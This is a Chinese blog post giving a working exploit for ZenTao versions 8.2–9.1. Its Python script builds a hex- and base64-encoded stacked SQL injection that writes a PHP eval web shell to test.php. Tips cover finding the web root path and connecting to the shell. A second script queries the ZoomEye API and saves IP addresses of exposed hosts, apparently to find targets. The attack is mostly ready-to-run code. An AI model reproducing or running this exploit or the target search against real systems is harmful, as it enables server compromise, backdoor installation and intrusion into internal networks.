其实具体操作没什么好说的,放一张图,懂得都懂:
禅道的漏洞已经爆出很多年了,但疏于防范的人还是不少,具体原理不再赘述,这里主要放一下利用过程中使用的一些脚本:
#禅道8.2-9.1版本漏洞利用脚本
import binascii
import base64
sql_code="{\"orderBy\":\"order limit 1;SET @SQL=0x*;PREPARE pord FROM @SQL;EXECUTE pord;-- -\",\"num\":\"1,1\",\"type\":\"openedbyme\"}"
def create_payload(url, path):
shell_code = ("select'<?php eval($_POST[\"HAH\"])>' into outfile'"+path+"test.php'").encode("UTF-8")
print(str(shell_code))
asc_code = binascii.hexlify(shell_code).decode("UTF-8")
sql_new = sql_code.replace("*", asc_code)
payload = base64.b64encode(sql_new.encode("UTF-8"))
param = str(payload, "UTF-8")
print("该禅道应用payload为: \n\033[31m" + url + "/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=" + param)
print("\033[00m添加refer: \n\033[31m" + url)
if __name__ == '__main__':
url = input("请输入禅道根网址: ")
path = input("请输入禅道应用的物理根路径: ")
path = path.replace("\\", "/")
create_payload(url,path)
当然可以继续写个批量自动化检测和get shell的脚本,不过手动也有手动的好,而且针对单点攻击也足够了。
1.物理根路径可点击忘记密码获取:
如返回/opt/zentao/www/格式,可直接利用;如返回/opt/zentao/tmp/格式,可将tmp替换为www,尝试写入
2.如一句话木马写入失败,可尝试写入空文本文件,进行找回密码操作,可修改脚本,将shellcode中的句话木马替换为"",目标文件替换为禅道系统提供的随机命名的文本文件,即可继续测试
具体使用截图如下:
访问第一个url,并在header里添加referer头即可,如返回截图如下:
或出现id及乱码字样,则说明漏洞大概率利用成功(如果失败,请检查是否物理根路径输入错误)
接着访问禅道根url+test.php即可一句话连接。
再放一个简单修改过的zoomeye-api的利用脚本:
import urllib.request
import json
import os
local_path = "E:\\zoom-api\\"
def login():
username = input("username:")
password = input("password:")
url = "https://api.zoomeye.org/user/login"
data = json.dumps({'username': username, 'password': password})
data_bytes = bytes(data, 'utf8')
try:
req = urllib.request.Request(url, data_bytes)
response = urllib.request.urlopen(req)
html = response.read().decode('utf-8')
target = json.loads(html)
access_token = target['access_token']
with open('access_token.txt', 'w') as f:
f.write(access_token)
f.close
print('login seccess !!!')
# print('your access_token is:%s'%(access_token))
except Exception as err:
print('[info]:username or password is wrong !')
def resultget(host_or_web, query, file):
req = urllib.request.Request('https://api.zoomeye.org/%s/search?query=%s' % (host_or_web, query))
print('https://api.zoomeye.org/%s/search?query=%s' % (host_or_web, query))
idb = open('access_token.txt').read()
req.add_header('Authorization', 'JWT %s' % (idb))
r = urllib.request.urlopen(req)
a = (r.read().decode('utf-8'))
print(a)
a = target = json.loads(a)
print('tatal:%s' % (a['total']))
for i in range(len(a['matches'])):
ip = str(a['matches'][i]['ip']).strip("[\'").strip("\']")
print(ip)
file.write(ip + "\n")
return a['total']
def apiget():
filename = input("input the filename: ")
file = open(local_path + filename + ".txt", "a+")
while True:
host_or_web = input("search for host or web:(‘q!’Sign out):")
if host_or_web == 'q':
break
query = input("input your keyword(-r for your resources-info):") # 查看自己的套餐剩余量
if query == '-r':
req = urllib.request.Request('https://api.zoomeye.org/resources-info')
ida = open('access_token.txt').read()
req.add_header('Authorization', 'JWT %s' % (ida))
re = urllib.request.urlopen(req)
ae = (re.read().decode('utf-8'))
ae = target = json.loads(ae)
dict_web = ae['resources']['web-search']
dict_host = ae['resources']['host-search']
print('your web search:%s' % (dict_web))
print('your host search:%s' % (dict_host))
else:
try:
total = resultget(host_or_web, query, file)
#自动搜索完所有结果
cont = input("Do you want to continue searching?:(a/y/n)[a:自动完成所有, y:手动翻页, n: 停止搜索] ")
if cont != "n":
pages = total//20+1
for i in range(2, pages+1):
query = query+"&page=" + str(i)
resultget(host_or_web, query, file)
if cont == 'a':
continue
cont = input("Do you want to continue searching?:(y/n) ")
if cont == "n":
break
except Exception:
print('[erro]:Please enter the correct syntax !')
file.close()
def start():
if not os.path.isfile('access_token.txt'): # 首次使用会检查脚本目录下access_token.txt文件,没有的话登录会创建
print('[info]:you need login')
login()
apiget()
if __name__ == '__main__':
start()
zoomeye的api做的真的不好,搜索结果比网页版少了很多,而且反爬机制做的也很严格,建议有条件的同学还是使用shodan的api,直接有第三方库,使用起来更加方便。
出于某些原因,不能放具体的攻击截图,但是一个系统的失陷,已经足以引起内网的滔天巨浪,相关漏洞均已经或即将提交360补天平台或漏洞盒子。